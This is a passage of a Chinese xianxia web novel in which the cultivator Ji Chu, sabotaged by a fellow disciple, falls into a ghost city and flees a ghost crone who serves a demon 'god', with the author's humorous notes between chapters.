她不知道脑补了什么,顿时坐不住了,一把拉起正在吃零食的蒋成旭就往角落跑。 两人走到云舟偏僻角落,许盈道: “孟师兄这也太贴心了吧?我上次就感觉他对纪楚的态度怪怪的。师妹外出历练而已,有必要准备这么多东西吗?” “是有点吧……” 蒋成旭塞了一嘴坚果,附和地点点头,又将手上捧着的递给她: “不过真挺好吃的,你也尝尝?” “尝什么尝!” 许盈嫌弃地拍开他的手,“啧”了一声,看了一眼朝这个方向投来疑惑目光的纪楚,一会儿点头一会儿摇头,最后说了句: “反正我看着,孟师兄待纪楚……不像师兄,像纪楚她娘!” 纪楚没听见他们在说什么,收回视线,开始试图投喂陈梧。 但也许是上次吃火锅的经历带给他一些难以抚平的心理阴影,现在回想起来,孟师兄那时候的视线简直像冷刀子一样一直往他头上扎。 此刻,陈梧实在不敢触碰太多“孟师兄对纪楚的关爱”。 于是他急忙说自己吃饱了要去修炼,找了个角落开始坐下打坐。 “大家都好奇怪啊……” 纪楚左看看右看看,想不明白干脆不想了,一个人坐在云舟中央,抱着碰运气的心态打盹。 今日运气还不错,顺利在梦里见到了钟离白。 “你们是不是快要经过枉死城了?” 钟离白的神情有点紧张,一见着纪楚便问她。 听见肯定的回复后,他顿时急切道: “天快黑了,你们要尽快过去!不要在天黑时留在那里!” 纪楚不解。 虽然枉死城这地方一到晚上就是鬼的世界,阴气太重,难免挤压灵力,寻常人确实不建议到那里去。 但也不至于如此紧张,简直像是如临大敌。 纪楚这么想着,还是在梦里认真推算起路程来: “现在离天黑还有一段时间,云舟正常飞行的话应该来得及过去。” 钟离白依然神情恍惚,中邪一样一边碎碎念一边掰手指头: “我还是觉得有问题……卦师的直觉……大凶啊大凶……不行不行,我必须得过去看看。” “小白!” 纪楚伸手在他面前挥了挥,打断他的魔怔状态: “所以到底发生了什么事儿,枉死城哪里不对劲儿?你快说啊!” 钟离白这才神魂归窍: “枉死城的气息不太对劲,隔着老远都能看见那边黑气冲天……似乎有什么不太吉利的东西……总之你们千万要小心。” 说着他加重了语气: “尤其是你!你——” 话未说完,纪楚忽然觉得一股极大的冲击力从梦境外袭来。 她整个人都被摇晃地坐不住,一下子扑到了地上。 梦境骤然碎裂。 陈梧的声音忽然从另一个方向传来,带着明显的惊惶: “小心!有魔物!” 下一刻,浓重的魔气自头顶袭来,纪楚尚未来得及理清现状,已本能拔出了剑挡在身前。 剑刃与利爪摩擦而过,发出刺耳的难听的声音,同时带出一片火星。 头顶的天一片昏暗,身形巨大的魔物如游鱼般划过天际,巨大的尾翼擦着云舟边缘而过,整个云舟都被带着朝另一侧晃去。 纪楚一下子撞在边缘。 借着这一撞,她看到了不远处枉死城的方向,果然如小白所说,阴云蔽日,黑气冲天。 仿佛有什么东西正在地下酝酿而生—— 作者有话说:小白:(揪衣领)能不能叫我说一句完整的话?!能不能![愤怒] 某作者:(被揪着衣领提起来但是死不悔改)[害羞]你知道的,梦这种东西就是总在关键时刻被打断的啦[害羞] 第59章 许盈和蒋成旭持剑跑来,一人将陈梧扶起来,一人及时拉住她。 许盈顺势朝云舟外看了一眼,道: “前面就是枉死城……我去,怎么看起来那么古怪?” 纪楚刚稳住身形,就听见孔回端大喊了一句: “你们愣着干什么?还不快来除魔!” 纪楚没有多想,急忙和许盈一起拔剑迎战。 小的魔物还算好处理,很快就被他们清理了差不多。 只是最中间这只险些撞翻云舟的魔物太过巨大,双翼展开足有五个云舟那么宽。 身负铠甲般的羽毛,剑刃划过,分毫不伤,只能带出一片徒劳的火星。 几回交手下来,他们非但伤不到它的要害处,它的尾翼还屡屡敲在云舟边缘,连带着上面的几个人都险些被掀翻下去。 好在云舟坚固,几人又并非低阶修士,暂时没有受伤。 眼看云舟快要飞到枉死城上方,那魔物迟迟没能伤到人,越发有 些暴躁起来。 它绕着云舟飞了一圈,很快便锁定了修为最低的陈梧。 利爪张开猛得铺下,直直朝着他的方向而来。 离他最近的孔回端分明察觉魔物意图,却没有选择保护陈梧,竟然转身避开,同时一道灵符拍在了魔物布满了坚硬鳞片的翅膀上。 这一偷袭自是毫无效用,反而引得魔物怒意更甚。 攻势不减,眼看就要撕碎陈梧的肩膀。 “蹲下!” 纪楚情急之下大喊一声,而后划出一道剑气,平直地冲着陈梧后脑勺的方向而去。 陈梧虽然修为低,但对纪楚十分信任,不问为什么就直接蹲下,甚至还趴到了地上。 剑气呼啸而过,一下子削掉了魔物的双爪。 黑紫色的魔气自断爪处弥漫而出,魔物吃痛,发出一声巨大而尖锐的鸣叫。 许盈和蒋成旭看准时机,自两边同时攻击,长剑戳中它的双翼根部。 魔物骤然失去平衡,倾斜着朝纪楚的方向扑来。 纪楚急忙躲开,后背撞上云舟边缘。 与此同时,失去平衡又被重伤的魔物疯狂晃动尾翼,云舟被它敲得左右歪斜。 纪楚身形不稳,一下子翻过云舟边缘摔了出去。 “纪楚!” 目睹这一幕的许盈大惊,匆忙收剑敢来,却还是差了一步。 孔回端离纪楚掉下去的位置最近,倒是朝她伸出手,似乎想要拉住她。 但没能成功,他伸出的手只擦着她的肩膀而过。 纪楚已经掉了下去。 许盈赶来,二话不说翻身就要往下跳。 孔回端见她如此,甚至还主动后退一步让出位置。 蒋成旭一边拦住许盈,一边质问孔回端: “你刚刚为什么不救纪楚?!” “救了,没救到。” 孔回端一脸“你能奈我何”的表情,一边朝下面望了一眼,不慌不忙地拍了拍手上残留的粉末,一边说着风凉话: “我瞧着枉死城阴气如此旺盛,掉下去恐怕九死一生啊。” “你找死!” 许盈拔剑就要上去砍人。 站在一边的陈梧却忽然打了个喷嚏。 蒋成旭敏锐地回头看他一眼。 陈梧皱着眉,捂住嘴,忍不住又打了个喷嚏。 蒋成旭忽觉不妙。 * 纪楚在落下的一瞬间便召出寻真剑,试图御剑稳住身形。 只是这枉死城上空密布着一层乌黑之气,像一个不断扩张的口袋,一碰到黑气,她整个人就像是掉进了漩涡似的,不受控制地朝中间落去。 纪楚挣脱不开黑气的控制,于是急忙调整身形,避免让自己摔得太狠。 此时太阳尚未落山,枉死城中空空荡荡,“望乡”二字高悬于城门之上。 下一刻,纪楚从天而降,重重砸在地上,头发和衣服都被树枝划乱,连露在外面的脸和脖子都有一道道细小的伤口。 阴气太重,还夹杂着一股若有似无的、让她感觉十分不舒服的气息。 她觉得自己好像摔进了一团粘糊的糖浆里,伸伸手指都费劲,更别说调用灵力了。 纪楚艰难地从地上爬起来,将寻真剑收回袖口剑符中。 她本想同许盈报个平安,然而刚拿到传音玉她就发现:传音玉竟然也被摔出了一条裂缝! 拂宇仙宗的传音玉又不是普通装饰品,怎么可能质量这么差?一摔就裂了? 难道是这里的黑气有问题? 纪楚越发觉得不安。 她抬头看了一眼天色。 在外面看枉死城时还觉得这里黑气遮天,如今站在里面,目之所及竟然一切如常,房屋楼阁并非特别之处,空空荡荡,看起来像是一座普通的无人空城。 但纪楚知道,这地方处处都是枉死之魂,不过是因为天还没黑,枉死城不会显出鬼城的真身。 远处枉死城城门高耸,半旧的楼台上挂着一对儿纸糊的灯笼。 微风吹过,那对儿灯笼却一动不动,一左一右分别写了“阴”“阳”二字,白底墨迹,宛如两只空洞洞的眼睛盯着来人。 枉死城收留阳寿未尽却逝世之人,不得入轮回,不得入阳间,是阴阳交界之所,鬼魂望乡之处。 城门最上方的“望乡”二字笔触流畅,在夕阳下显得格外宁静平和,宛如游子长久凝望不得回归之处,思念家乡。 越过城门,夕阳在天的尽头晕染出一片温柔缱绻的橙红色的光,预示着夜幕即将降临。 钟离白的告诫再次浮现在她脑海。 天快黑了,她不能在这里过夜…… 纪楚果断朝城门的方向跑去。 * 许盈几人也发现了枉死城的不对劲。 黑气太重了,寻常鬼族阴气,根本无法达到这样遮天蔽日的效果。 云舟落在距离枉死城不远不近的地方,堪堪在黑气覆盖的范围边缘。 许盈拿着传音玉试图联系纪楚,但无人回应,她急得原地团团转,若不是蒋成旭拦着,她现在就想进去找人。 孔回端在远处一块石头上坐着,正拿着传音玉向宗门汇报些什么,时不时看他们一眼,表情中透着嘲弄。 陈梧重重打了几个喷嚏。 许盈正为了纪楚着急,语气便有些不耐烦: “你怎么了?没有见鬼也会过敏吗?” “对不起……” 陈梧揉了揉鼻子,有点内疚。 纪楚救了她,他帮不上忙反而添乱,于是努力捂着脸憋着喷嚏。 蒋成旭替许盈解释: “她只是太着急了,没有不让你打喷嚏的意思。” 陈梧急忙摆手: “没关系的,我知道的,我会努力克服的……” “对不起,你这体质也不是能克服的,你想打就打吧。” 许盈也意识到自己语气不好,皱着脸道: “我刚刚太着急了。这眼看天就黑了,纪楚还没有消息,总不会找不到出口吧……” 说着她又心烦起来,质问蒋成旭: “你刚刚为什么不让我进去救人?你到底在打什么算盘?” 蒋成旭示意她看向一眼孔回端的方向,小声道: “他不对劲。陈梧好端端的不会打喷嚏,一定是闻到了什么。” “渡明粉?” 许盈立马就想到了这个。 她看了一眼枉死城,又看了一眼孔回端,忽然想通了一切。 寻常情况下,活人误闯枉死城,虽然有被阴气困扰导致找不到出口的情况,俗称“鬼打墙”。 但纪楚毕竟是修士,大白天的,不至于连这个都破不了。 可若是身上沾了渡明粉,气息变成了鬼魂,那事情便截然不同了。 枉死城既是收留枉死之魂的庇护所,也是监管滞留之魂的牢狱。 转世的时辰未到,枉死城里这些枉死之魂,谁也无法离开。 孔回端……他想把纪楚困在枉死城! 许盈“蹭”得一声拔出剑,被蒋成旭按了下去。 “你又拦我?” 许盈面带杀气,大有一副要将他一起砍的意思。 陈梧见状急忙捂住嘴,生怕自己打喷嚏引起世纪大战。 蒋成旭压低声音: “你有没有想过,他为什么要这么做?” “是记恨纪楚,还是担心纪楚破坏聚魂灯,所以提前下手?” “我总觉得,这事没完。” * 纪楚感觉自己被做局了。 明明城门口看起来就在前面不远处,可是她已经走了好久,竟然还没有走到! 再抬头,城门仍在不远处的前方。 如果这会儿她还没意识到不对劲,那她就真是一个彻头彻尾的傻子了! 纪楚深呼吸,平复了一下暴走却遇到“ 鬼打墙”的愤怒,原地停下来,开始检查自己的衣服。 这一查,还真叫她在胳膊上摸到了一些奇怪的粉末。 渡明粉? 她什么时候沾了这东西? 不会是出发前,当时陈梧站在她跟前也毫无反应。 那就是上云舟后了。 纪楚一下子便想到自己摔下来之前,孔回端在她衣服上碰的那一下…… 她顿时脸色难看。 这个人果然不是什么好东西,出任务也敢对同门使绊子! 纪楚骂到一半,忽然又想起来点不合理的地方。 把她困在这里有什么用呢? 渡明粉迟早会失效,她无非就是在这里耽误两天,总会找到出去的办法。 至于这里的黑气……来之前谁也不知道枉死城有问题,否则宗门一定会要求他们换路。 孔回端一定不是冲着杀了她的目的来的。 况且,如果护送聚魂灯的弟子半路遇险,势必会耽误去薛家的路程。 孔回端难道不想尽快将灯送过去给沈恪复命吗? 哪怕他觉得,“报复自己”这件事比“给薛晚凝聚魂”更重要,可他敢这样吊儿郎当地对待沈恪的命令吗? 他怎么敢在半路搞事? 难道…… 沈恪其实,不想让薛晚凝成功聚魂? 纪楚被自己这个想法吓了一跳。 还不等她继续往下推理,传音玉忽然一亮。 对方没有说话,纪楚却忽然福至心灵,喊了句: “师兄?” 下一刻,对面果然传来一道清冷如玉的声音: “纪楚,你在哪?” 纪楚眼睛一亮,急忙对着传音玉大声道: “是我是我!师兄!我在枉死城!” 没回音了。 传音玉也灭了下去。 纪楚暴躁地敲了敲传音玉,终于又敲出一道断断续续的声响。 不过这次是许盈的声音: “该死的……孔回端有问题!别让他跑了!” 纪楚急忙道: “没错没错,许盈,他可能不想让薛家得到聚魂灯!” 还是没有人回答。 嘈杂的声音时隐时现地顺着传音玉传到她耳边,好像是许盈和什么人打起来了。 纪楚担忧地问了半天,摔坏的传音玉却时灵时不灵,根本没法把完整的话送出去。 没过多久,一道格外清脆的“咚”的闷响声出现,传音玉两边的人都被吓了一跳。 纪楚隐约听着,好像是有人的脑袋被板砖砸了,打斗声彻底停了下来。 她敲了敲传音玉,竟然又敲出了师兄的声音: “不要去……” 声音卡顿,纪楚忙追问: “师兄?你说不要哪?你快说啊师兄!” 对面又没声了。 这下子传音玉似乎是彻底报废了,怎么敲都没再有声音传出来。 纪楚无语透顶,磨了磨牙,恨不得对着传音玉咬上一口。 一只苍老枯瘦的手忽然搭上她的肩膀。 “姑娘,你在做什么?”—— 作者有话说:纪楚:我迷路了,身上只有一台信号不好的手机,敲一敲偶尔能冒出来师兄的声音,点击下一章看我如何鬼城求生[摊手] 第60章 纪楚被这句话吓了一跳,这才发现天边的最后一点亮光已经消失了。 城门上的“望乡”二字已经彻底隐于黑暗之中。 阴气逐渐弥漫开来,空荡荡的街道开始浮现出半透明的人影。 冷风吹过,道路两边原本只有个空壳子的灯笼倏忽亮起,一排排烛火扑朔晃动,将街道照得惨白而诡异。 随着灯笼的亮起,原本半透明的人影逐渐变得凝实。 走动、交谈的声音一开始仿佛来自远处,混乱而不甚清晰,随着人影的凝实,这些很快就变得清晰可闻。 而那无形的、将阴阳两界分割开的屏障,也随着夜幕得降临彻底消失。 真正的枉死城,出现了。 搭在纪楚肩膀上的手轻拍两下,苍老的声音从身后传来,比方才离得更近,几乎贴着她的耳朵说出的这句话: “姑娘,你想出城吗?” 纪楚打了个哆嗦。 退一万步来讲,哪怕是她把鬼想的太坏了,身后这只鬼其实没什么恶意…… 但是—— 突然被一只鬼从背后拍肩膀,还贴着耳朵阴恻恻地说话,真的很可怕啊啊啊啊啊啊! 纪楚起了一身鸡皮疙瘩。 身后那鬼见状,“呵呵”笑了两声,然后扶着她的肩膀走到她面前: “别怕,姑娘。” 对方转过来的同时,纪楚手腕一转,迅速将传音玉收了起来。 然后抬眼,看到了一个面容和蔼的老妪。 对方笑了笑,眼角的细纹使她看起来十分和善,和纪楚印象中缺胳膊少腿还吊着舌头的恶鬼截然不同。 面对面说话时,之前那股阴森森的感觉顿时消失了大半,仿佛只是一位普通的慈祥的老人在关心小辈。 ——如果没有死死压着她肩膀的这只手的话。 纪楚暗中调动灵力,发现自肩膀处开始,周身的经脉都开始运行不畅,灵力滞涩难忍。 若要硬冲也不是没有可能,但是之后怎么走又是个问题。 于是纪楚收回动手的念头,决定暂且按兵不动。 老妪看出她眼里的警惕,温和道: “这儿的人,多多少少都有点遗憾,刚来的时候,都会想着出去。” 她看了一眼城门的方向,又转向纪楚,笑得有些意味深长: “只是再大的事儿,也都已经成了上辈子,无法再回头了。” 纪楚没说话。 她可以确认,站在她面前的这个老妪绝对不是普通小鬼。 自己如果不能小心应对,很快就会暴露身份。 毕竟渡明粉也只能暂时改变气息,稍微有些道行的大鬼未必不能看出端倪。 纪楚思忖着。 既然自己一时半会儿走不出去,不如就在这里顺道查一查,到底是什么东西,能让枉死城气息如此诡异,能让钟离白如此紧张。 于是纪楚微微后退一步,试图和老妪拉开距离,故意装作一无所知的样子问道: “你是谁?这儿又是哪儿?” 对方和蔼一笑,跟着她上前一步,右手始终压在她肩膀上: “这儿是枉死城,我是这儿的老人了,你叫我鬼婆就好。” 说完,鬼婆又一脸和蔼地问她: “我瞧着姑娘面色红润,肢体康健,不像疾病走的,频频往城门方向去,是出了什么意外吗?” 纪楚:“……” 果然是来看见她试图离开的行为,来试探她了! 演戏装可怜而已,她在师兄面前已经练出来了! 于是她垂下头,失落道: “其实我是被……被心上人一剑捅死的。” 鬼婆顿时露出心疼和了然的表情,心里已信了大半,手上力气也松了几分: “可怜的孩子……怪不得你总想着回去,情之一字,实在让人痛苦啊……” 纪楚内心窃喜: 我就知道!所有人听到情感纠葛、相爱相杀,都会忍不住感慨的! 对不起了师兄,半真半假的谎言才最容易让人信服。 她果断点了点头,乘胜追击,让自己显得更加痴情: “我不甘心,就想回去问他一句,为什么!” 鬼婆神色更加同情。 纪楚抬手掩面,随后又装出一副“被伤得狠了仍不死心”的模样,急切道: “婆婆,有什么办法,能让我再见他一面吗?我不贪心的,就一面就好,我只问个清楚就会回来!” 哪知鬼婆闻言后微微眯起眼睛,露出“看到小孩子耍赖般”的表情,意味深长道: “好孩子,婆婆已经说过了,你回不去了。” 一阵凉风吹过,街道两边的灯笼轻微晃动,烛火在地上砸出斑驳的白。 面前的老妪依然是一副慈祥的模样,纪楚却从她眯成一条缝的眼中看出了诡异的贪婪和算计。 什么情况? 怎么感觉,她看自己的眼神,像是狗看见了肉?怪瘆人的。 她垂下头,控制着自己的表情,用失望的语气说: “那好吧……看来,我的这辈子,只能这样不明不白的结束了。” “好孩子。” 鬼婆伸手摸了摸她的头,枯瘦的手划过她的发丝,像粗砂勾过,纪楚没来由打了个 哆嗦,然后听到鬼婆说: “前尘成空,来生未至。望乡望乡,不可归者,入此枉死之地。” “你能想通,便是最好。” 声音苍老而空洞,飘忽如风。 整个枉死城都透着一股诡异阴寒的气息。 说完这句话,她眯起眼睛打量纪楚半晌,眼底的贪婪意味更加明显,甚至连嘴角都隐隐露出笑意。 纪楚更觉得诡异了。 下一刻,鬼婆忽然伸手拽住她的小臂,五指死死扣进她的肉里,目光像是要把她抽筋剥骨一般吞食。 纪楚一惊,便见鬼婆猛地凑近她说: “婆婆与你有缘,更怜惜你为人所杀、枉死之苦,可为你引荐末神。” “末神?” 纪楚将“神族不是早就消散了吗”这句话咽下,努力露出欣喜的表情: “枉死城,竟然有神吗?” “当然有的。” 鬼婆咧嘴一笑,看起来比刚才假装“和蔼婆婆”时的表情真诚多了。 她一路拽着纪楚,路过无数鬼魂,将她引到神殿前。 然后她停下脚步,指着前方紧闭的大门对纪楚说: “神——就在里面!” 鬼婆的语气里透着狂热。 纪楚顺着她手指的方向看去,只看到两扇紧紧闭合的大门,除此以外,什么都看不见。 鬼婆说完这句话就收回手,交叠双手放于胸前,两臂控制不住般微微颤抖。 然后她闭上双眼,低声祈祷: “求末神降世,救此混浊之地,度化虚伪之魂。” 周围原本在散步的、交谈的的鬼魂纷纷停下,齐齐做出祈祷动作,低声念道: “求末神降世,救此混浊之地,度化虚伪之魂。” 看似虔诚的场面,纪楚却分明看到,随着鬼婆与众鬼念出这句话后,他们七窍中纷纷飘散出黑红色的雾气,在半空中汇聚成一缕,而后朝着那大门紧闭的神殿中飘去。 神殿被这股黑红色的雾气包裹着,自远处看去,简直算得上邪气冲天。 纪楚瞧着那两扇血色般鲜红的大门,察觉到一丝危险,本能朝后退了半步。 原本闭着眼睛的鬼婆却像是能看见似的,忽然伸手,一把抓住了她的胳膊。 纪楚:“!” 鬼婆眼里透出猩红般的狂热: “好孩子,快进去吧,神——在等你。” 纪楚:“……” 她试图婉拒: “我还没有准备好,你看我这衣服也是脏的,头发也是乱的,连个见面礼都没有准备。贸然拜见神明,实在太过失礼……” “不妨事,不妨事。” 鬼婆咧开嘴角一笑,脸上的皱纹像是刀劈斧凿般深入内里,伸手又要拽她胳膊: “末神只看诚心,不计较这些外物,你只需进去就好。” 纪楚:“……” 她躲开鬼婆的手,义正辞严: “万万不可!神明大人宽容,我等却无论如何也不能敷衍以对!” 鬼婆被她坚定的态度唬住,一时接不上话。 纪楚便顺势严肃道: “就这么定了,等我做好准备,再来拜见神明……” 谁知她话音才刚落,面前紧闭的大门就发出“吱呀”一声,随后当着她的面分开一道半人宽的缝隙。 闷热的风从缝隙中飘出,带着让人不安的腥气,仿佛一只淌着血水的眼睛在暗处打量着她。 鬼婆顿时反应过来: “神在呼唤你!快进去,让神久等,是大不敬!” 纪楚:好赤|裸|裸的请君入瓮啊。 要是到了这份上,她还没看出来鬼婆和这个所谓的“神”在合谋算计她,那她可就是真的蠢蛋了。 她一边假意答应,一边不着痕迹地打量周围。 很好,周围的这戏鬼正死死盯着她,恰到好处地堵死了她所有逃生的路径。 纪楚又看了一眼远处的枉死城大门。 可惜她暂时出不去。 纪楚被鬼婆推着朝前走。 面前半开的大门里不知藏着什么东西,沉闷腥臭的气息从门中传来,夹杂着一丝微不可查的魔气。 魔? 修士的本能让她立即想要拔剑应战。 手已经碰到了藏在袖中的剑符,纪楚却仍有些犹豫。 她还从未真正与魔交手过,对方能在枉死城搞出这么大的动静,定然不是好惹的。 万一莽过了头,直接送了命可就不好了…… 纪楚犹豫之际,鬼婆已相当不耐烦。 她像是着急想将纪楚推进去,又似乎忌惮着神殿里的东西,嘴里碎碎念着些什么: “好东西……神定会喜欢……” 就在这时,一直被纪楚藏在怀里的传音玉忽然闪了一下。 灵力波动虽然微弱,却还是瞬间被一人一鬼察觉。 鬼婆脸色一僵,停下步子仔细辨认。 纪楚也顺势按住了传音玉。 一道男声从传音玉中传出来,比先前任何一次对话都清晰可闻: “纪楚!枉死城里的魔想吞你灵魂!” 纪楚下意识扭头,和鬼婆面面相觑—— 作者有话说:纪楚:你听,这都说你是坏人了,别装了。 鬼婆:…… 纪楚:师兄一剑捅死了我[爆哭] 师兄:这是污蔑。 纪楚:(在外宣扬)是我的心上人一剑捅死了我[爆哭] 师兄:(欲言又止)(止又欲言)(欲言又止)[裂开] 60-70 第61章 这下不用犹豫了,纪楚当机立断动手。 转身的同时长剑出鞘,反手刺向鬼婆。 鬼婆因为缩手躲避不及,被她削下半边肩膀。 纪楚趁机脱离她的控制范围,剑气横扫而过,周围的众多枉死之魂紧跟着尖叫出声,鬼声凄厉,四散躲闪,露出一条向外逃跑的路来。 神殿大门内传来沉闷的怒吼,仿佛是到嘴的猎物丢失后的无能狂怒。 众多小鬼被这一声吓得战战兢兢。 鬼婆面色难看。 她被纪楚砍下的残肢在半空中化做鬼气,影影绰绰间又回到了她身上,严丝合缝,仿佛从未受伤。 果然是个修为极高的大鬼。 然后她上前几步,一把推开碍事的小鬼,死死盯着纪楚逃跑的背影,恨不得撕下她一口肉来。 纪楚不敢有丝毫携带,持剑朝外奔去。 鬼婆在她身后狰狞一笑,露出一口豁牙: “呵呵呵呵……原是老婆子眼拙,竟叫一个修士混了进来。” “枉死城,岂是你想来就来,想走就走的地方!” 她手中生出一根一人高的棍子,上端挂着一个骷颅头。 棍子重重砸在地上,溅起一片尘土。 “无礼小儿,老婆子也修行多年,今日便教教你这胆大包天的小辈,何为尊老!” 而后她转动棍子,使骷髅的双目紧盯住纪楚逃跑的方向,哑声道: “给我杀了她。” 骷髅口中吐出一片暗红的雾气,直冲纪楚后背而去。 纪楚避开几道雾气,转过身以长剑横挡,被砸退半步。 好强的魔气。 只一交手,她便知道自己的实力恐怕在对方之下。 这只鬼不知道吃了什么东西,窝在枉死城这片地界,竟然把自己修成了半个魔。 鬼婆一击不中,“桀桀”一笑,又一跺棍子,上面挂着的骷颅头瞬间幻化成一大片一模一样的骷髅头。 众多骷髅头齐齐张嘴,自双目、口中喷出更多暗红雾气,四面八方朝着纪楚围了过 来。 雾气在半空中凝出锋利的尖端,闪着黑红嗜血的光,如箭破空而来。 纪楚转头就跑。 她专门在众多鬼魂中间奔逃,企图借着街道上的东西遮挡。 但鬼婆的那些魔气却并非离弦之箭般僵硬,而是灵活地左右攀移,所过之处连鬼魂都不放过,吸收鬼气,凝成更加恐怖的魔气,始终牢牢坠在她身后。 纪楚很快就意识到,这样下去不是办法。 她因为渡明粉跑不出枉死城,迟早会体力告罄。 传音玉又响起。 钟离白的声音传出来,断断续续不知道在说什么。 纪楚索性直接打断他的话: “我现在被追杀,怎么办?” 对方应该是听见了她的话,传音玉持续亮着,对面窸窸窣窣念叨了一阵,听着像是在起卦。 纪楚已经快要绕着枉死城跑一圈了。 她身后暗红色的魔气像无数条托着长尾的彩带,始终跟在她身后不放。 纪楚试图用寻真剑砍了砍,丝毫不起作用。 砍断一截后又会自动续上,像无法捏碎的云雾。 钟离白那头终于有了回应。 他应该是意识到纪楚的传音玉出了问题,回答十分言简意赅: “往神殿里跑!” 纪楚二话不说果断转头。 她身后的魔气也在半空中划出半圆,紧跟其后。 被魔气缠住的几个鬼魂“啊”地一声尖叫,连同旁边的一个杂物车一同化为灰烬。 趁着传音玉情况稳定,纪楚边跑边问道: “我还没问你,怎么拿着许盈的传音玉,他们呢?” “当时情况是这样的。” 钟离白模仿许盈的语气: “靠!当然要去!凭什么不去!不去等着他毁了聚魂灯反过来诬陷我们吗?” “就是这样,据说孔回端想把弄丢聚魂灯的事情嫁祸给你们。所以陈梧回去禀告宗门了,我负责来救你。” “你来救我?” 纪楚灵活避开一道攻击,道: “好吧……他们还好吧?没出什么事吧?” 钟离白闻言道: “你就放一百个心吧。我已经帮他们拦住了孔回端。你是不知道,那会儿情况那叫一个乱,得亏我及时赶到,一罗盘把人砸晕,这才没叫他带着聚魂灯跑了。” 说着他又忍不住打听: “你们大宗门的八卦可真有意思啊,弟子不想救师娘,莫非是对师父有占有欲?这可太精彩了……” 纪楚没说话,神殿已近在眼前。 鬼婆仍站在神殿门口,对于她主动送上门的行为表示嘲笑,木棍一转,骷髅头再度锁定纪楚。 纪楚一边在心里想着“孔回端好像确实很在意沈恪对哪个弟子更好,难道是她想多了,还是她想的不够多”,一边从储物袋中掏出几张灵符,踩着一架板车凌空而起,自半空中朝前砸下。 “雕虫小技。” 鬼婆阴森一笑,一跺木棍,骷髅头口中喷出一股鬼火,直冲半空中的灵符而去。 几张灵符的边缘被鬼火燎到,开始发黑卷曲,似乎已经失去了效用。 纪楚反倒迎着火焰向前,像是完全不担心被鬼火烧伤。 鬼婆见状,还以为她是疯了,“哼”笑一声,道: “无知小辈,还敢主动前来送死?” 骷髅头双目圆睁,暗红的魔气与鬼火同时将纪楚前后包夹,她已无处可逃。 纪楚双手握住剑柄,非但没有躲开这两道攻击,反而持剑劈下,将半空中燃烧着的灵符一齐劈成了两半。 黄色符纸自中间斜着裂开,上面以朱砂绘制的红色字迹也被从中砍断。 正当鬼婆得意之际,纪楚整个人忽然自半空中消失不见。 于此同时,一前一后两道攻击没了目标,直直穿过符纸裂开的缝隙,鬼火与暗红鬼气迎面相撞,迸发出巨大的冲击力。 被纪楚一剑劈成两半的符纸上下纷飞,有的甚至被风带动,糊到了骷髅头的脸上。 鬼婆同意被这股巨大的冲击力撞得跌坐下去,臃肿的身躯砸在神殿大门上,发出“轰隆”一声。 她怒不可遏: “给我搜!一定要把这个修士抓出去,碎尸万段!” 鬼婆一声令下,枉死城瞬间如同炸了油锅一半,众鬼呼啸而过,鬼气四溢,魔气如骨附疽,萦绕在枉死城每一个角落。 唯独神殿内仍是漆黑一片,静谧非常。 纪楚立于黑暗中,低头看向手中捏着的“传送符”的一角,微微喘息。 好极限,差点她就没能传走,被鬼气压成渣了。 传音玉发着微弱的光,钟离白的声音在空旷的神殿里显得格外明显,依然是夸张的吹捧: “借力打力,纪楚你真是太聪明了!” “谢谢夸奖。” 纪楚问: “你不是说魔要吃我吗?怎么又让我进神殿?” 钟离白道: “原本是该跑的,但是我刚刚给你卜了一卦,往外跑是死路一条,进神殿才是上上大吉,绝处逢生!” 他“喔”了一声,补充道: “上辈子我死的太快,没能给你展示我的卜卦技术。但是你信我准没错!我们师门传承的卜卦技艺那可是炉火纯青,你的救世主身份就是我算出来的……” 纪楚靠在墙壁上,一边听他自卖自夸,一边弯着腰喘气。 刚刚跑的太急,灵力都快耗尽了,这地方全是魔气鬼气,一点都补充不了。 极限逃命真不是人干的…… 自打一进神殿,空气中格外浓烈的血腥气就让她有点喘不上气,连带着心口曾经被捅伤的地方也开始跟着疼了起来。 神殿里一片漆黑,隐约能看见中央似乎有个巨大的水池。 她站在靠近大门的地方,一边拍着胸口缓和呼吸,一边在师兄给的储物袋里掏了掏,想找个补充灵力的丹药。 钟离白犹豫了一会儿,期期艾艾问她: “纪楚,刚刚我就想问了,你怎么这么相信我,我让你进神殿,你立马就进去了……” 他有点不好意思: “认真算起来,我们这辈子还没见过面呢……” 这话说的就有点粘糊了。 纪楚皱了皱眉,严肃道: “想让我相信你,那你就老实告诉我:枉死城的魔到底怎么回事?你之前为什么说我不能进来?” 钟离白哪敢再糊弄她,竹筒倒豆子般全说了出来: “前世你死前的事儿还记得吗?当时魔王的金色眼睛……没错,我怀疑那其实是末神的眼睛……神族当然已经灭绝了,但是末神不太一样……哎呀你就把它当成个神族执念的化身就好啦……” “……我们师门传承的卜卦技能其实也和末神有点关系,具体的解释不清,但是意思就是,但凡我能算出的东西,末神也能算出来……” “纪楚,它知道你是特殊之人,也知道你会杀它……” 说着,钟离白自己也有点心虚,忍不住念叨起来: “哎呀先前一直没明说,主要是不知道怎么开口。” “末神是魔,你是命定的弑神之人,我真的不知道该怎么告诉你!” 纪楚没有回话。 钟离小白也自觉这事儿做的不地道,抓耳挠腮了一会儿,对着传音玉问道: “纪楚,你生气了吗?” 还是没有回答。 他急得原地团团转: “我真的不是故意害你的,你也知道,我们算卦的本来就要承担窥探天命的风险,天机不可泄露,哪是那么容易就能说清楚的,我先前也只能判断个大概,直到你在问仙大会上融了神骨的力量,我才完全确定下来的……” 传音玉另一头还是安安静静。 钟离白的师门一直穷得可怜,自然用不起传音玉这等高级法器。 他根本无法判断纪楚是生气了关闭了传音玉,还是她的传音玉出来问题,又或者是自己一不小心搞坏了这 件法器,一时间焦虑不已。 于此同时,枉死城神殿中。 纪楚被一只鲜血淋漓的鬼手掐着脖子提了起来。 传音玉摔在一旁地上。 钟离白的声音断断续续从中传出来。 “好奇怪,这是坏了吗?还亮着应该没坏吧?” “大宗门的法器应该很贵吧,天呐我该怎么赔啊?” “纪楚,你能听到吗?” “纪楚,你别生气了,我给你跪下好不好?” “纪楚?” “……” 纪楚被掐得发不出声音,徒劳伸手,想要触碰地上的传音玉。 掐着她脖子的鬼爪缓缓收紧五指,丝毫不给她喘息的机会。 深幽的声音自虚空中响起,仿佛巨钟在她耳畔敲响,一时间甚至分不清这声音是真实的存在,还是神魂被撕碎前的幻觉。 “一世斩魔,二世弑神。” “告诉我,这是你的第二世吗?”—— 作者有话说:钟离白(摇晃手机):完了,贫穷的我把借来的手机玩坏了,这可怎么赔啊[爆哭] 纪楚(被掐到翻白眼):[裂开] 第62章 